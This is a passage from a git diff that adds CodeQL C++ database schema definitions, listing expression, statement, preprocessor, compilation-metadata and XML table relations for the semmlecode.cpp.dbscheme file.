+ | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_default ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_default ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +| 394 = @isinvocable +| 395 = @isnothrowinvocable +| 396 = @isbitwisecloneable +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + | @isinvocable + | @isnothrowinvocable + | @isbitwisecloneable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +param_ref_to_this( + int expr: @param_ref ref +) + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_default ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +| 40 = @stmt_leave +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue | @stmt_leave; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 17 = @ppd_embed +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +embeds( + unique int id: @ppd_embed ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/*- Database metadata -*/ + +/** + * The CLI will automatically emit applicable tuples for this table, + * such as `databaseMetadata("isOverlay", "true")` when building an + * overlay database. + */ +databaseMetadata( + string metadataKey: string ref, + string value: string ref +); + +/*- Overlay support -*/ + +/** + * The CLI will automatically emit tuples for each new/modified/deleted file + * when building an overlay database. + */ +overlayChangedFiles( + string path: string ref +); + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; diff --git a/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/semmlecode.cpp.dbscheme b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..ef8d209a22e --- /dev/null +++ b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/semmlecode.cpp.dbscheme @@ -0,0 +1,2577 @@ + +/*- Compilations -*/ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- C++ dbscheme -*/ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +/** + * Gives the TRAP filename that `trap` is associated with. + * For debugging only. + */ +trap_filename( + int trap: @trap, + string filename: string ref +); + +/** + * Gives the tag name for `tag`. + * For debugging only. + */ +tag_name( + int tag: @tag, + string name: string ref +); + +@trap_or_tag = @tag | @trap; + +/** + * Gives the name for the source file. + */ +source_file_name( + int sf: @source_file, + string name: string ref +); + +/** + * In `build-mode: none` overlay mode, 